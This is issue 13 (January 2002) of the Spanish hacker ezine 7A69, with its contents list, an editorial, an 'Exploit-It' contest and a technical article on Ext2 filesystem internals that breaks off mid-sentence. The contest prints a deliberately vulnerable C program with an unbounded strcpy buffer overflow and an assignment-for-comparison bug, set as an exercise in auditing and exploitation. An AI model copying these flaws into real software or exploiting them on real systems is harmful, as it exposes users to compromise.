Copy Link
Add to Bookmark
Report

7A69 Issue 13

eZine's profile picture
Published in 
7A69
 · 3 years ago

  


_|_|_|_|_| _|_| _|_|_| _|_|
_| _| _| _| _| _|
_| _|_|_|_| _|_|_| _|_|_|
_| _| _| _| _| _|
_| _| _| _|_| _|_|_|

-~=( 7A69#Ezine )=----=( 13 )=----=( Enero 2002 )=~-
` '
=[ Editor => Ripe : ripe@7a69ezine.org ]=
=[ Coeditor => Tahum : tahum@7a69ezine.org ]=

=[-------------------=[ Staff ]=-------------------]=
|| => Trycky : trycky@7a69ezine.org ||
|| => Doing : doing@7a69ezine.org ||
|| => tuxisuau : tuxisuau@7a69ezine.org ||
|| => IReick : ireick@7a69ezine.org ||
|| => Anarion : anarion@7a69ezine.org ||

=[----------------=[ Colaboradores ]=--------------]=
|| => ZiSXko : zisxko@hotmail.com ||
|| => Memonix : memonix@bigfoot.com ||
|| => ProdiX : luisj@gmx.net ||
|| => QuasaR : quasar@undersec.com ||

=[--------------------=[ Info ]=-------------------]=
|| Email Oficial => staff@7a69ezine.org ||
|| Web => http://www.7a69ezine.org ||

=[------------------=[ Mirrors ]=------------------]=
|| http://tuxisuau.7a69ezine.org/7a69/ ||
|| http://trycky.7a69ezine.org/7a69/ ||

=[---------------=[ Distribuidores ]=--------------]=
|| http://dtfzine.cjb.net ||
|| http://www.dragones.org ||
|| http://www.redes-linux.com ||

-~=( 7A69#Ezine )=----=( 13 )=----=( Enero 2002 )=~-


-={ Num }=-={ Articulo }=-={ Autor }=-={ Tema }=-
||-----\---/----------------------------\---/---------\---/--------------||

-{ 01 }=-={ Presentacion. }=-={ Staff }=-={ Editorial }-

-{ 02 }=-={ Exploit-It. }=-={ Staff }=-={ Concurso }-

-{ 03 }=-={ El sistema de ficheros }=-={ ZiSXko }=-={ Filesystem }-
{ Ext2. }

-{ 04 }=-={ Linux 2.4: Arranque del }=-={ tuxisuau}=-={ SO's }-
{ nucleo. }

-{ 05 }=-={ Hablamos con... NecronoiD. }=-={ QuasaR }=-={ Entrevista }-

-{ 06 }=-={ Principios para la }=-={ ProdiX }=-={ Hacking }-
{ escritura de LKM en }
{ OpenBSD. }

-{ 07 }=-={ Criptoanalisis basado en }=-={ Memonix }=-={ Criptografia }-
{ fallos de hardware. }

-{ 08 }=-={ Conoce tu enemigo I; }=-={ Tahum }=-={ Hacking }-
{ Las herramientas y }
{ metedologias del Script }
{ Kiddie. }

-{ 09 }=-={ Conoce tu enemigo II; }=-={ Tahum }=-={ Hacking }-
{ Siguiendo los movimientos }
{ del blackhat. }

-{ 10 }=-={ Conoce tu enemigo III; }=-={ Tahum }=-={ Hacking }-
{ Ganan privilegios de root. }

-{ 11 }=-={ Tecnicas Data Mining }=-={ Memonix }=-={ Seguridad }-
{ usadas en entornos de }
{ seguridad. }

-{ 12 }=-={ Leido en el Foro. }=-={ Staff }=-={ Varios }-

-{ 13 }=-={ Cortos. }=-={ Varios }=-={ Varios }-

-{ 14 }=-={ Debate. }=-={ Varios }=-={ Sociedad }-

-{ 15 }=-={ 7a69Soft. }=-={ Varios }=-={ Software }-

-{ 16 }=-={ Correo del lector... }=-={ Staff }=-={ Editorial }-

-{ 17 }=-={ LLaves PGP. }=-={ Staff }=-={ Editorial }-

-{ 18 }=-={ Despedida. Bye bye. }=-={ Staff }=-={ Editorial }-

||-----/---\----------------------------/---\---------/---\--------------||

7a69ezine (c) 1998-2002 : staff@7a69ezine.org

*EOF*
-=( 7A69#13 )=--=( art1 )=--=( Presentacion. )=--=( Staff )=-


Otro numero mas, y ya van 13. Este ha salido mas temprano, y pese a eso
creo que hemos mantenido la calidad de los anteriores numeros, ello gracias a
todo el trabajo que ha habido detras, y la (mas o menos) organizacion que
hemos logrado asentar. Lo dicho, ya estamos aqui de nuevo, para espanto de
masas y regocijo de unos pocos.

Podreis leer articulos tecnicos intresantes, secciones nuevas y demas
adornos, porque hemos querido que 7a69 se vista de gala para recibir al 2002
con buen pie, manteniendo (o incluso superando) nuestro trabajo en ya lejano
2001. Y en tiempos de crisis en la scene hispana (o almenos de la vieja
scene), 7a69 sigue demostrando que tiene aguante para rato, pese a la sana
competencia que se esta creando en multitud de nuevos ezines. Algunos llegan
y otros se van, es el caso de NetSearch, el staff del cual ha decidido
tomarse un periodo sabatico (esperemos que el regreso no se haga esperar,
pues este era, sin lugar a dudas, uno de los mejores ezines de habla
hispana). ¿Y que me decis del regreso de Raregazz? Esperemos que el nuevo
staff de Rare mantenga el nivel que llego a tener dicha publicacion,
dejemosles tiempo, pues este apremia.

Hable de crisis en la scene hispana... pero esta puede desaparecer
rapidamente si los miticos grupos que tienen anunciado su regreso lo hacen, y
lo hacen ademas con fuerza. Si! Hablo de JJF e Hispahack, cuyo regreso se
esta haciendo esprerar mas de la cuenta, pero nuevamente, tiempo al tiempo,
porque volveran. ¿Y que decir de SET#25? Sus fans esperaron impacientes el
regalo de reyes que el staff de SET les tenia preparados, pero aun en el dia
de hoy no han podido desempaquetarlo, esperemos que el numero 25 de SET, el
ezine mas veterano en lengua de cervantes, salga pronto, y que ademas mantenga
el nivel de sus ultimos numeros. ¿Crisis? ¿Quien hablo de crisis?

Nostros seguimos trabajando. Ya estamos preprando el numero #14
paralelamente a muchos otros proyectos relacionaos con 7a69 y que, esperamos,
dentro de poco den sus frutos. Y como siempre decimos, cualquier
opinion/critica/[...]/colaboracion sera bienvenida, asi que ya sabeis,
disponeis de staff@7a69ezine.org para hacernoslo llegar.

Y esto es todo, solo desearos un feliz 2002 (aunque este deseo os llega
un pelin tarde), y que disfruteis leiendo 7a69#13 tanto como hemos disfrutado
haciendolo (realmente esperamos que disfruteis mas :). Que mejor manera de
despedir una protocolaria editorial que con una cita de Metastasio que, a
algunos de nostros, nos hace reflexionar.


"Quien puede vanagloriarse de no tener defectos?
Examinando los suyos, aprenda cada uno a perdonar
los de los demas."



Feliz 2002!

- 7a69.

*EOF*
-=( 7A69#13 )=--=( art2 )=--=( Exploit-It. )=--=( Staff )=-


Hay en la red una gran cantidad de documentacion sobre la explotacion
de programas, por lo que es mas o menos sencillo adquirir una base teorica
sobre el tema. Pero los ejemplos de dichos documentos suelen ser muy
simples y poco se asemejan a la realidad, y es quiza por ello por lo que
hay realmente poca gente capaz de autidar codigo. Quiza sin la intencion de
solventar esto, la gente de core-sgi publico una serie de codigos
vulnerables para que gente de todo el mundo puediera auditarlos y programar
los correspondientes exploits. Si bien esos codigos publicados son
buenisimos ejemplos para cada uno de los tipos de explotacion no dejan de
ser codigos simplones y por lo general faciles de explotar (si conoces la
tecnica a aplicar). Por ese motivo en 7a69 hemos decidido iniciar esta
seccion, Exploit-it, que pretende ser un concurso de explotacion a
programas vulnerables que nostros presentaremos. Como en todo concurso habra
un premio al primero que logre explotar cada una de los programas que nosotros
presentaremos. Aun no hemos decido que sera el premio, por lo que el ganador
se enterar en el proximo numero (no os espereis un premio gordo, estilo un
viaje a finlandia o un palm porque no lo va a ser :)

A continuacion podeis ver el codigo de exploit-it-1.c programado por
Ripe (ripe@7a69ezine.org), que sera el que debeis auditar. Este primer codigo
vulnerable no presenta demasiadas complicaciones, sinembargo intentaremos que
el nivel de los codigos vulnerables aumente progresivamente, de manera que
vosotros mismos podais evaluaros. Ademas tambien interaremos que no todos
los programas vulnerables sean en C, asi que podreis encontrar cosas en perl,
phyton, o cualquier otrp lenguaje.

---/ exploit-it-1.c /---

/*
* exploit-it-1.c
*
* Ripe - <ripe@7a69ezine.org>
*
* NOTA: No se permite la ejecucion de ficheros que se encuenten fuera de
* los tipicos directorios del PATH, a exepcion del exploit y el
* programa vulnerable.
*
* Suerte :)
*
*/


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <getopt.h>

extern char *optarg;
extern int optind, opterr, optopt;

int view_help(char *cmd) {
printf("Uso:\n");
printf("\t%s <buffer> [Opciones]\n", cmd);
printf("Opciones:\n");
printf("\t-b <size>\tTamaqo del buffer a pasar a echo/printf\n");
printf("\t-t <P/E>\tP para usar printf, y E para usar echo\n");
exit(0);
}

int main(int argc, char **argv) {
unsigned short int size=16;
char bcp[128];
int type=1;
char ch;
char *ptr;
char *filename;
char *exec_argv[3];
printf("Exploit-it 0x01 by Ripe - <ripe@7a69ezine.org>\n");
if (argc<2) view_help(argv[0]);
memset(bcp, 0, 128);
while ((ch=getopt(argc-1, &argv[1], "b:t:"))!=EOF) {
switch (ch) {
case 'b': size=atoi(optarg);
break;
case 't': if (optarg[0]=='P') type=1;
if (optarg[0]=='E') type=2;
break;
}
}
exec_argv[0]="exploit-it";
exec_argv[1]=(char *)malloc(size);
exec_argv[2]=NULL;
strcpy(bcp, argv[1]);
if (type=1) {
filename=malloc(strlen("/usr/bin/printf")+1);
memset(filename, 0, strlen("/usr/bin/printf")+1);
strcpy(filename, "/usr/bin/printf");
} else {
filename=malloc(strlen("/bin/echo")+1);
memset(filename, 0, strlen("/bin/echo")+1);
strcpy(filename, "/bin/echo");
}
strncpy(exec_argv[1], argv[1], size);
execve(filename, exec_argv, NULL);
printf("Counldn't execute %s\n", filename);
exit(1);
}

---/ exploit-it-1.c /---

Que tengais suerte... nos vemos con la solucion y un source vulnerable mas
en el proximo numero.

*EOF*
-=( 7A69#13 )=--=( art3 )=--=( El sistema de ficheros Ext2 )=--=( ZiSXko )=-


1.- Caracteristicas del sistema de archivos Ext2
------------------------------------------------

El sistema de archivos Ext2 ofrece funcionalidades estandar. Soporta los
archivos Unix (archivos regulares, directorios, archivos especiales, enlaces
simbolicos) y ofrece funcionalidades avanzadas:

* Pueden asociarse atributos a los archivos para modificar el
comportamiento del nucleo; los atributos reconocidos son los siguientes:

* Supresion segura: cuando el archivo se suprime, su contenido se destruye
previamente con datos aleatorios.

* Undelete: cuando el archivo se suprime, se guarda automaticamente a fin
de poder restaurarlo ulteriormente (aun no se ha implementado).

* Compresion automatica: la lectura y la escritura de datos en el archivo
da lugar a una compresion al vuelo (aun no se ha implementado en el
nucleo estandar).

* Escrituras sincronas: toda modificacion sobre el archivo se escribe de
manera sincrona en disco.

* Inmutable: el archivo no puede modificarse ni suprimirse.

* Adicion exclusiva: el archivo solo puede modificarse si se ha abierto en
modo adicion, y no puede suprimirse.

* Compatibilidad con las semanticas de Unix System V Release 4 o BSD: una
opcion de montaje permite elegir el grupo asociado a los nuevos archivos;
la semantica BSD especifica que el grupo se hereda desde el directorio
padre, mientras que SVR4 utiliza el numero de grupo primario del proceso
que llama.

* Enlaces simbolicos "rapidos": ciertos enlaces simbolicos no utilizan
bloque de datos; el nombre del archivo destino esta contenido
directamente en el i-nodo en disco, lo que permite economizar el espacio
en disco y acelerar la resolucion de estos enlaces evitando una lectura
de bloque.

* El estado de cada sistema de archivos se memoriza: cuando el sistema de
archivos se monta, se marca como invalido hasta que se desmonte. El
verificador de la estructura, e2fsck, utiliza este estado para acelerar
las verificaciones cuando no son necesarias.

* Un contador de montaje y una demora maxima entre dos verificaciones
pueden utilizarse para forjar la ejecucion de e2fsck.

* El comportamiento del codigo de gestion puede adaptarse en caso de error:
puede mostrar un mensaje de error, "remontar" el sistema de archivos en
lectura exclusiva a fin de evitar una corrupcion de los datos, o provocar
un error del sistema.

Ademas, Ext2 incluye numerosas optimizaciones. En las lecturas de datos, se
efectuan lecturas anticipadas. Ello significa que el codigo de gestion pide la
lectura no solo del bloque que necesita, sino tambien de otros bloques
consecutivos. Esto permite cargar en memoria bloques que se usarian en las
entradas/salidas siguientes. Este mecanismo se utiliza tambien en las lecturas
de entradas de directorio, ya sean explicitas (por la primitiva readdir) o
implicitas (en la resolucion de nombres de archivos en la operacion sobre el
i-nodo lookup).

Las asignaciones de bloques e i-nodos tambien se han optimizado. Se usan grupos
de bloques para agrupar los i-nodos emparentados asi como sus bloques de datos.
Un mecanismo de preasignacion permite tambien asignar bloques consecutivos a
los archivos: cuando debe asignarse un bloque, se reservan hasta 8 bloques
consecutivos. De este modo, las asignaciones de bloques siguientes ya se han
satisfecho y el contenido de archivos tiende a escribirse en bloques contiguos,
lo que acelera su lectura, especialmente gracias a las tecnicas de lectura
anticipada.



2.- Estructura fisica del sistama de archivos Ext2
--------------------------------------------------

Un sistema de archivos, de tipo Ext2, debe estar presente sobre un dispositivo
fisico (disquete, disco duro, ...) y el contenido de este dispositivo se
descompone logicamente en varias partes, como muestra la siguiente figura:


/------------------------------------- - - -------------\
| Sector de | Grupo de | Grupo de | | Grupo de |
| | | | | |
| boot | bloques 1 | bloques 2 | | bloques N |
\------------------------------------- - - -------------/


El sector de boot contiene el codigo maquina necesario para cargar el nucleo en
el arranque del sistema, y cada uno de los grupos de bloques se descompone a su
vez en varios elementos, como muestra la siguiente figura:


/---------------------------------------------------------------------\
| | | Bitmap | Bitmap | Tabla de | Bloque |
| Superbloque | Decriptores | | | | |
| | | bloques | i-nodos | i-nodos | de datos |
\---------------------------------------------------------------------/


* Una copia del superbloque: esta estructura contiene las informaciones de
control del sistema de archivos y se duplica en cada grupo de bloques
para permitir paliar facilmente una corrupcion del sistema de archivos.

* Una tabla de descriptores: estos ultimos contienen las direcciones de
bloques que contienen las informaciones cruciales, como los bloques de
bitmap y la tabla de i-nodos; tambien se duplican en cada grupo de
bloques.

* Un bloque de bitmap para los bloques: este bloque contiene una tabla de
bits: a cada bloque del grupo se le asocia un bit indicando si el bloque
esta asignado (el bit esta entonces a 1) o disponible (el bit esta a 0).

* Una tabla de i-nodos : estos bloques contienen una parte de la tabla de
i-nodos del sistema de archivos.

* Bloques de datos: el resto de los bloques del grupo se utiliza para
almacenar los datos contenidos en los archivos y los directorios.

Un sistema de archivos se organiza en archivos y directorios. Un directorio es
un archivo de tipo particular, que contiene entradas. Cada una de las entradas
de directorio contiene varios campos:

* El numero del i-nodo correspondiente al archivo.

* El tamaño de la entrada en bytes.

* El numero de caracteres que componen el nombre del archivo.

* El nombre del archivo.

La siguiente figura representa un directorio que contiene las entradas ".",
"..", "archivo1", "nombre_de_archivo_largo", y "f2".


/----------------------------------------------\
| i1 | 12 | 1 | . |
|----------------------------------------------|
| i2 | 12 | 2 | .. |
|----------------------------------------------|
| i3 | 16 | 5 | archivo1 |
|----------------------------------------------|
| i4 | 28 | 19 | nombre_de_archivo_largo |
|----------------------------------------------|
| i5 | 12 | 2 | f2 |
\----------------------------------------------/




3.- El Superbloque
------------------

El superbloque contiene una descripcion del tamaño y forma del sistema de
archivos. La informacion contenida permite al administrador del sistema de
ficheros usar y mantener el sistema de ficheros. Normalmente solo se lee el
superbloque del Grupo de Bloque 0 cuando se monta el sistema de ficheros pero
cada Grupo de Bloque contiene una copia duplicada en caso de que se corrompa la
copia primaria.

La estructura ext2_super_block define el formato del superbloque. Se define en
el archivo <linux/ext2_fs.h> y sus campos mas importantes son los siguientes:

---/ linux/ext2_fs.h /---

struct ext2_super_block {
__u32 s_inodes_count; /* Numero total de Inodos */
__u32 s_blocks_count; /* Numero total de Bloques */
__u32 s_r_blocks_count; /* Numero de Bloques reservados al rOOt*/
__u32 s_free_blocks_count; /* Numero de Bloques Libres */
__u32 s_free_inodes_count; /* Numero de inodos libres */
__u32 s_first_data_block; /* Numero del primer bloque de datos */
__u32 s_log_block_size; /* Tamaño logico de los bloques */
__s32 s_log_frag_size; /* Tamaño logico del fragmento */
__u32 s_blocks_per_group; /* Numero de bloques por grupo */
__u32 s_frags_per_group; /* Numero de fragmentos por grupo */
__u32 s_inodes_per_group; /* Numero de inodos por grupo */
__u32 s_mtime; /* Fecha de ultimo montaje del FS */
__u32 s_wtime; /* Fecha de ultima escritura del superbloque */
__u16 s_mnt_count; /* Numero de montajes del FS */
__s16 s_max_mnt_count; /* Numero maximo de montajes */
__u16 s_magic; /* Firma del FS */
__u16 s_state; /* Estado del FS */
__u16 s_errors; /* Comportamiento en caso de Error*/
__u16 s_minor_rev_level; /* Numero de revision*/
__u32 s_lastcheck; /* Fecha de ultima verificacion del FS */
__u32 s_checkinterval; /* Tiempo maximo entre verificaciones */
__u32 s_creator_os; /* Id del sistema operativo bajo el cual se ha creado el
sistema de archivos */

__u32 s_rev_level; /* Nivel de revision */
__u16 s_def_resuid; /* Uid del usuario que puede usar los bloques reservados
al superusuario */

__u16 s_def_resgid; /* Gid del usuario que puede usar los bloques reservados al superusuario */
};

---/ linux/ext2_fs.h /---




4.- Los decriptores de grupos de bloque
---------------------------------------

Cada Grupo de Bloques tiene una estructura de datos que lo describe. Al igual
que el superbloque, todos los descriptores de grupo para todos los Grupos de
Bloques se duplican en cada Grupo de Bloques en caso de corrupcion del sistema
de fichero. Estos descriptores contienen las coordenadas de las estructuras de
control presentes en cada grupo.

La estructura ext2_group_desc define el formato de un descriptor de grupo. Se
define en el archivo <linux/ext2_fs.h> y contiene los campos siguientes:

---/ linux/ext2_fs.h /---

struct ext2_group_desc{
__u32 bg_block_bitmap; /* Direcion del bloque bitmap para los bloques de este grupo*/
__u32 bg_inode_bitmap; /* Direcion del bloque bitmap para los inodos de este grupo*/
__u32 bg_inode_table; /* Direccion del primer bloque de la tabla de inodos en este grupo */
__u16 bg_free_blocks_count; /* Nº de bloques libres en este grupo */
__u16 bg_free_inodes_count; /* Nº de inodos libres en este grupo */
__u16 bg_used_dirs_count; /* Numero de directorios asignados en este grupo */
__u16 bg_pad; /* ni idea */
__u32 bg_reserved[3]; /* reservado */
};

---/ linux/ext2_fs.h /---




5.- Estructura de un i-nodo en Ext2
-----------------------------------

En el sistema de ficheros Ext2, el i-nodo es el bloque de construccion basico;
cada fichero y directorio del sistema de ficheros es descrito por un y solo un
i-nodo. Los i-nodos Ext2 para cada Grupo de Bloque se almacenan juntos en la
tabla de i-nodos con un mapa de bits (bitmap) que permite al sistema seguir la
pista de i-nodos reservados y libres.

La tabla de i-nodos se descompone en varias partes: cada parte esta contenida
en un grupo de bloques. Esto permite utilizar estrategias de asignacion
particulares: cuando un bloque debe asignarse, el nucleo intenta asignarlo en
el mismo grupo que su i-nodo, a fin de minimizar el desplazamiento de las
cabezas de lectura/escritura en la lectura del archivo.

La estructura Ext2_inode define el formato de un i-nodo. Se declara en el
archivo <linux/Ext2_fs.h> y contiene los campos siguientes:

---/ linux/ext2_fs.h /---

struct ext2_inode {
__u16 i_mode; /* Modo del inodo */
__u16 i_uid; /* uid del propietario */
__u32 i_size; /* tamaño del archivo en bytes */
__u32 i_atime; /* Fecha de ultimo acceso al archivo */
__u32 i_ctime; /* Fecha de creacion del archivo */
__u32 i_mtime; /* Fecha de modificacion del archivo */
__u32 i_dtime; /* Fecha de borrado del archivo */
__u16 i_gid; /* Gid */
__u16 i_links_count; /* Numero de enlaces asociados */
__u32 i_blocks; /* Numero de bloques de 512 bytes */
__u32 i_flags; /* Atributos */
__u32 i_block[EXT2_N_BLOCKS];/* Direcciones de los bloques */
__u32 i_version; /* Numero de version asociado al inodo */
__u32 i_file_acl; /* Direccion del descriptor de la lista de control de acceso asociada al archivo, todavia no esta implementado en linux */
__u32 i_dir_acl; /* Direccion del descriptor de la lista de control de acceso asociada a un directorio, todavia no esta implementado en linux */
};

---/ linux/ext2_fs.h /---

El campo i_block contiene las direcciones de bloques de datos asociados al i-
nodo. Esta tabla se estructura segun el metodo clasico de Unix:

* Los primeros doce elementos (valor de la constante EXT2_NDIR_BLOCKS) de
la tabla contienen las direcciones de bloques de datos.

* La posicion EXT2_IND_BLOCK contiene la direccion de un bloque que
contiene a su vez la direccion de los bloques de datos siguientes.

* La posicion EXT2_DIND_BLOCK contiene la direccion de un bloque que
contiene la direccion de bloques que contienen la direccion de los
bloques de datos siguientes.

* La posicion EXT2_TIND_BLOCK contiene la direccion de un bloque que
contiene la direccion de bloques que apuntan a su vez a bloques
indirectos.

Este mecanismo de direccionamiento se ilustra a continuacion (limitandose a dos
niveles de indireccion por razones de claridad):


<bloq. directos>

<i-nodo> /----\
/---| | <bloq. indirectos>
/----\ / |----|
| |/ /---| | /----\
|----| / |----| /--| |
| |/ /---| | / |----|
|----| / |----| /----\ / /--| | <bloq. doblemente>
| |/ . . | |/ / |----| <indirectos>
|----| |----| / /--| | /----\
| |------------------| |/ / \----/ | |\ /----\
|----| |----| / |----| \----| |
| |\ | |/ /------| |\ |----|
|----| \ \----/ / |----| \----| |
. . \ / | |\ |----|
\ / \----/ \----| |
\ /----\ / /----\ |----|
\ | |/ | |-------| |
\ |----| |----| |----|
\---| |-----------------| |-------| |
|----| |----| |----|
| |\ | |-------| |
\----/ \ \----/ |----|
\ /----\ /----| |
\ | |/ |----|
\ |----| /----| |
\------| |/ |----|
|----| /----| |
| |/ \----/
\----/




6.- Entradas de directorio
--------------------------

Los directorios se componen en bloques de datos, como los archivos regulares.
Sin embargo, estos bloques se estructuran logicamente en una serie de entradas.
La estructura ext2_dir_entry define el formato de estas entradas. Se declara
en el archivo <linux/ext2_fs.h> y contiene los siguientes campos:

---/ linux/ext2_fs.h /---

struct ext2_dir_entry {
__u32 inode; /* Numero del inodo del archivo */
__u16 rec_len; /* Tamaño en bytes de la entrada del directorio*/
__u16 name_len; /* Numero de caracteres del nombre */
char name[EXT2_NAME_LEN]; /* Nombre del archivo */
};

---/ linux/ext2_fs.h /---




7.- Operaciones vilculadas al sistema de archivos
-------------------------------------------------

Las operaciones relacionadas con el superbloque de un sistema de archivos Ext2
se implementan en el archivo fuente fs/ext2/super.c. La variable ext2_sops
contiene los punteros a las funciones que aseguran estas operaciones.
Las funciones ext2_error, ext2_panic y ext2_warning son llamadas por el codigo
de gestion del sistema de archivos cuando se detecta un error. Muestran un
mensaje de error o de advertencia con la identificacion del dispositivo
afectado y la funcion interna que haya detectado el error llamando a la funcion
printk.

Se utilizan varias funciones internas para el montaje de un sistema de
archivos:

* parse_options: esta funcion analiza las opciones de montaje
especificadas. Analiza la cadena de caracteres pasada como parametro e
inicializa las opciones de montaje.

* ext2_setup_super: esta funcion inicializa el descriptor de superbloque a
partir del superbloque del sistema de archivos leido desde el disco.

* ext2_check_descriptors: esta funcion verifica la validez de los
descriptores de conjuntos leidos desde el disco. Para cada descriptor,
verifica que los bloques de bitmap y la tabla de i-nodos estan
contenidos en el grupo.

* ext2_commit_super: esta funcion se llama para guardar las modificaciones
efectuadas en el superbloque. Marca la memoria intermedia que contiene
el superbloque como modificada, llamando mark_buffer_dirty. De este
modo, el contenido de la memoria intermedia se reescribira en disco en
el proximo guardado del buffer cache.

* ext2_read_super: implementa la operacion sobre el sistema de archivos
read_super. Se llama al montar un sistema de archivos. Empieza por
analizar las opciones de montaje llamando a parse_options, luego lee el
superbloque desde el disco, y verifica su validez. Inicializa
seguidamente el descriptor de superbloque. Luego se asigna una tabla de
punteros para los descriptores de grupo, cada descriptor se carga en una
memoria intermedia, llamando a la funcion bread, y se verifica la validez
de estos descriptores por ext2_check_descriptors. Finalmente, se lee el
i-nodo de la raiz del sistema de archivos en memoria llamando a iget, y
se llama a ext2_setup_super para terminar la inicializacion del
descriptor del superbloque.

* La funcion ext2_write_super implementa la operacion write_super, que
actualiza los campos s_mtime (fecha de ultima modificacion del
superbloque) y s_state para indicar que el sistema de archivos esta
montado; luego llama a la funcion ext2_commit_super.

* La funcion ext2_remountimplementa la operacion sobre sistema de archivos
remount_fs. Llama a parse_options para decodificar las nuevas opciones de
montaje, actualiza el descriptor de superbloque, y llama a
ext2_commit_super para indicar que el superbloque se ha modificado.

* La funcion ext2_put_super implementa la operacion sobre sistema de
archivos put_super. Se llama cuando un sistema de archivos se desmonta.
Libera las memorias intermedias que contienen los descriptores del
sistema de archivos, llamando a la funcion brelse, y libera los punteros
a esas memorias llamando a kfree_s. Seguidamente, libera las memorias
intermedias asociadas a los bloques de bitmap cargados en memoria.
Finalmente, libera la memoria intermedia que contiene el superbloque del
sistema de archivos.

* Para terminar, la funcion ext2_statfs implementa la operacion sobre
sistema de archivos statfs: copia las estadisticas de uso del sistema de
archivos desde el descriptor de superbloque en la variable pasada como
parametro.




8.- Asignacion y liberacion de bloques e i-nodos.
-------------------------------------------------

Las funciones de asignacion liberacion de bloques e i-nodos se implementan en
los archivos fuente fs/ext2/balloc.c y fs/ext2/ialloc.c.

Estos modulos definen funciones internas:

* get_group_desc: esta funcion devuelve el descriptor correspondiente a un
grupo de bloques.

* read_block_bitmap, read_inode_bitmap: estas funciones cargan en memoria
un bloque de bitmap.

* load_block_bitmap, load_inode_bitmap: estas funciones se llaman para
obtener un bloque de bitmap. Mantienen un cache LRU de los bloques
cargados en las tablas s_block_bitmap y s_inode_bitmap, y llaman a
read_block_bitmap y read_inode_bitmap para cargar los bloques en memoria.

* La liberacion de bloques se efectua por la funcion ext2_free_blocks.
Esta funcion verifica que los numero de bloques a liberar son validos,
luego carga el descriptor y el bloque de bitmap del grupo afectado
llamando a get_group_desc y load_block_bitmap. seguidamente, el bit
correspondiente a cada bloque a liberar se pone a cero en el bloque de
bitmap, se llama a la operacion sobre cuota free_blockasociada al i-nodo
por cada bloque, y se incrementa el numero de bloques libres.
Finalmente, el superbloque y el bloque de bitmap se marcan como
modificados llamando a mark_buffer_dirty.

* La funcion ext2_new_block implementa la asignacion de bloque. Esta
funcion acepta como parametro goal, que especifica el numero de bloque a
asignar si esta disponible. Tras haber cargado el bloque de bitmap,
ext2_new_block comprueba si el bloque especificado esta disponible. Si
es asi, se elige, si no, se hace una busqueda de un bloque libre en las
cercanias de este bloque y, si la busqueda fracasa, se busca un byte a
cero en el bloque de bitmap del grupo, es decir, que se buscan ocho
bloques libres consecutivos o, al menos, un solo bloque disponible. Tras
estas distintas comprobaciones, si no se ha encontrado ningun bloque
disponible, ext2_new_blockexplora todos los grupos de bloques para
encontrar un bloque disponible. Cuando se ha encontrado un bloque, la
operacion sobre cuota alloc_block se llama para verificar que el proceso
que llama puede asignar el bloque, y el bit correspondiente del bloque
bitmap se pone a uno, para indicar que el bloque ya no esta disponible.
Tras haber asignado un bloque, ext2_new_block intenta proceder a una
preasignacion de bloques consecutivos. Efectua un bucle de asignacion de
los bloques siguientes llamando a la operacion sobre cuota alloc_block y
marcando los bits correspondientes en el bloque de bitmap a uno.
Finalmente, se asigna una memoria intermedia para el bloque llamando a
getblk, su contenido se pone a cero, y se actualizan las informaciones de
descriptores de grupos y del superbloque.

* La liberacion de un i-nodo se efectua por la funcion ext2_free_inode.
Esta funcion verifica la validez del i-nodo a liberar, y carga el
descriptor y el bloque de bitmap del grupo afectado llamando a g
et_group_descyload_inode_bitmap. Seguidamente, el bit correspondiente al
i-nodo a liberar se pone a cero en el bloque de bitmap, el numero de
i-nodos libres se incrementa, y se llama a la operacion sobre cuota
free_inode asociada al i-nodo. Finalmente, el superbloque y el bloque de
bitmap se marcan como modificados llamando a mark_buffer_dirty.

* La funcion ext2_new_inode implementa la asignacion de i-nodo. El
algoritmo de asignacion depende del tipo del i-nodo:

- Si hay que asignar un directorio, se efectua una busqueda para
elegir el grupo de bloques que posee un numero de i-nodos libres
superior a la media, y en el que numero de bloques libres sea
maximo.

- En el resto de los casos, ext2_new_inode intenta utilizar el
conjunto de grupos que contiene el i-nodo del directorio padre.
Si no es posible, se efectua una busqueda cuadratica de un grupo
que contenga i-nodos libres. Si esta busqueda fracasa, se utiliza
finalmente una busqueda lineal, grupo por grupo.

Una vez elegido el grupo de bloques a utilizar, el bloque de bitmap se carga en
memoria llamando a load_inode_bitmap, y se busca el primer bit a cero,
correspondiente a un i-nodo no utilizado. Se pone el bit a uno, y el numero de
i-nodos disponibles se decrementa. El descriptor de i-nodo se inicializa
seguidamente y se inserta en las listas de hash llamando a insert_inode_hash.
Finalmente, si hay asociadas operaciones sobre cuotas al superbloque del
sistema de archivos, las operaciones initializeyalloc_inode se llaman para
tener en cuenta la asignacion.




9.- Gestion de los i-nodos en disco
-----------------------------------

El archivo fuente fs/ext2/inode.c contiene las funciones de gestion de i-nodos
en disco.

La operacion sobre i-nodo bmap implementa varias funciones:

* inode_bmap: esta funcion devuelve la direccion de un bloque contenido en
el i-nodo.

* block_bmap: esta funcion devuelve la direccion de un bloque obtenida en
una tabla contenida en un bloque de datos. Se utiliza para acceder a
las direcciones de bloques indirectos.

* ext2_bmap: esta funcion implementa la operacion bmap. Obtiene la
direccion del bloque de datos especificado llamando a
inode_bmapyblock_bmap para efectuar las diversas indirecciones.

Hay varias funciones relacionadas con la asignacion de bloques:

* ext2_discard_prealloc: esta funcion se llama al cerrar un archivo.
Libera los bloques asignados previamente por ext2_new_block sin usar aun l
lamando a ext2_free_blocks.

* ext2_alloc_block: esta funcion se llama para asignar un bloque. Gestiona
la preasignacion: si un bloque ha sigo preasignado y corresponde al
bloque especificado por el parametro goal, se utiliza; si no, los
bloques preasignados se liberar llamando ext2_discard_prealloc, y se
llama a ext2_new_block para asignar un bloque.

* inode_getblk: esta funcion se llama para obtener una memoria intermedia
que contiene un bloque cuya direccion se almacena en el i-nodo. Utiliza
getblk para obtener la memoria intermedia, si el bloque esta ya
asignado. Si el bloque no esta asignado y si quien llama ha
especificado una creacion de bloque, se llama a la funcion
ext2_alloc_block para obtener un nuevo bloque.

* block_getblk: esta funcion se llama para obtener una memoria intermedia
que contenga un bloque cuya direccion se almacena en una tabla
contenida en un bloque de datos. Es muy similar a inode_getblk.

* ext2_getblk: esta funcion se llama para obtener una memoria intermedia
conteniendo un bloque asociado a un i-nodo. De manera similar a
ext2_bmap, llama a inode_getblk y ablock_getblk para efectuar las
diversas indirecciones.

* block_getcluster: esta funcion intenta crear un cluster referido a
varios bloques directos de un i-nodo. Comprueba que los bloques
especificados son contiguos en disco, y llama a generate_cluster para
crear el cluster.

* ext2_getcluster: esta funcion intenta crear un cluster referido a varios
bloques de un i-nodo. Efectua un tratamiento muy similar al de
ext2_getblk, excepto que llama a block_getclusteren lugar de
ablock_getblk.

* ext2_bread: esta funcion se llama para leer un bloque de datos asociado
